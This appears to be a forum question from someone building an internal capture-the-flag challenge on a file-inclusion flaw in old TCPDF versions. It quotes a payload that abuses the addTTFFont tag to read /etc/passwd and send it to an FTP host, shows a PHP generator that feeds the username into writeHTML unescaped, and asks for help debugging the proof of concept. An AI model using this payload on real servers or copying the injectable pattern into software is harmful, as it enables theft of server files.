PoC for TCPDF vulnerability - php

Question

I am making some challenges as part of an internal CTF that we are hosting. As part of the challenges, one of the things that I was planning on giving out was File Inclusion using a vulnerability in a certain version of TCPDF.
I was trying to follow the blog here to get an understanding of the bug itself:
File inclusion through broken TCPDF
I do understand the vulnerability in a nutshell, which is, that TCPDF, by default, has access to a special tag <tcpdf /> which allows execution of available TCPDF methods along with parameters.
So for example if :
<tcpdf method="some_method" params="abcd"/>
the above is passed to the writeHTML() TCPDF would call some_method() with the params abcd.
And to be able to read files, a specific TCPDF method called addTTFFont is going to be used which takes as params the following:
$fontfile – The file to grab from the server. Any readable file can
be selected.
$fonttype – Needs to be set to TrueType for the attack to work.
$outpath – Location for the output for the file.
By injecting a ftp-location, as the 3rd param, the file will be uploaded remotely.
Please correct me if my understanding is incorrect here.
Now, here's what I do not understand from the blog above. The line that says:
By generating a tcpdf-element using the following code:
$params = TCPDF_STATIC::serializeTCPDFtagParameters(array('/etc/passwd','TrueType','',255,urldecode('ftp://user:pass#host/')));
Now what is the author trying to explain in the above line ?
Also to be able to reproduce this vulnerability, here's what I tried :
Hosted a very simple (and of course vulnerable in many ways) app on my local Aapache server and used TCPDF V 6.1.1 as this was the version immediately before 6.2.0 in which the bug was patched.
The app simply allows users to register and login. On login user gets a page as and on clicking on the link in red, a PDF file is generated for the user with his name as :
where gogo was the user name.
Now below is the code that generates the PDF (gen_pdf.php):
<?php
session_start();
require_once('tcpdf_include.php');
if (isset($_SESSION['username'])){
// Extend the TCPDF class to create custom Header and Footer
class MYPDF extends TCPDF {
//Page header
public function Header() {
// Logo
$image_file = K_PATH_IMAGES.'logo_example.jpg';
$this->Image($image_file, 10, 10, 15, '', 'JPG', '', 'T', false, 300, '', false, false, 0, false, false, false);
// Set font
$this->SetFont('helvetica', 'B', 20);
// Title to right allignment
$this->Cell(0, 15, '<< The Machine v/s Samaritan >>', 1, false, '', 0, '', 0, false, 'T', 'M');
}
}
$pdf = new MYPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetAuthor('John Reese');
$pdf->SetTitle('The Machine Must Live');
$pdf->SetSubject('The future is inevitable. ');
$pdf->SetKeywords('The Machine, Samaritan, Mr. Reese');
// set default header data
$pdf->SetHeaderData(PDF_HEADER_LOGO, PDF_HEADER_LOGO_WIDTH, PDF_HEADER_TITLE.' 001', PDF_HEADER_STRING, array(0,64,255), array(0,64,128));
$pdf->setFooterData(array(0,64,0), array(0,64,128));
// set header and footer fonts
$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, '', PDF_FONT_SIZE_MAIN));
$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA, '', PDF_FONT_SIZE_DATA));
// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
// set margins
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);
// set auto page breaks
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
// set image scale factor
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);
// set some language-dependent strings (optional)
if (#file_exists(dirname(__FILE__).'/lang/eng.php')) {
require_once(dirname(__FILE__).'/lang/eng.php');
$pdf->setLanguageArray($l);
}
// ---------------------------------------------------------
// set default font subsetting mode
$pdf->setFontSubsetting(true);
// Set font
// dejavusans is a UTF-8 Unicode font, if you only need to
// print standard ASCII chars, you can use core fonts like
// helvetica or times to reduce file size.
$pdf->SetFont('dejavusans', '', 14, '', true);
// set text shadow effect
$pdf->setTextShadow(array('enabled'=>true, 'depth_w'=>0.2, 'depth_h'=>0.2, 'color'=>array(196,196,196), 'opacity'=>1, 'blend_mode'=>'Normal'));
// Set some content to print
$html = <<<EOD
<div>
<h1>Welcome to Tomorrow !!<span style="color:black;"></span></h1>
<i>This Machine is growing weaker and we need to keep it safe.</i>
<p>This is the world of the <i>Samaritan</i> and it needs to be protected <i>Mr. Rees and Root will be there for your help</i>.</p>
<p>All the best for your travel ... </p>
</div>
EOD;
$pdf->AddPage('P');
$html = $html."<div><h2>".$_SESSION['username']."</h2></div>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');
}
?>
I modified just this part of the above code :
$pdf->AddPage('P');
$html = $html."<div><h2>".$_SESSION['username']."</h2></div>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');
to this:
$pdf->AddPage('P');
$html = "<tcpdf method=\"addTTFFont\" params=\"%5B%22CHANGELOG.TXT%22%2C%22TrueType%22%2C%22%22%2C255%2C%22%5C%2Ftmp%5C%2Ftcpdf_bug.txt%22%5D\"/>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');
that is hardcoded the exploit payload (just to check if things are working), where CHANGELOG.TXT is a file already present in the same directory as gen_pdf.php
Output
No tcpdf_bug.txt file seems to be getting generated in \tmp.
What am I doing wrong here ? Please help me create this PoC.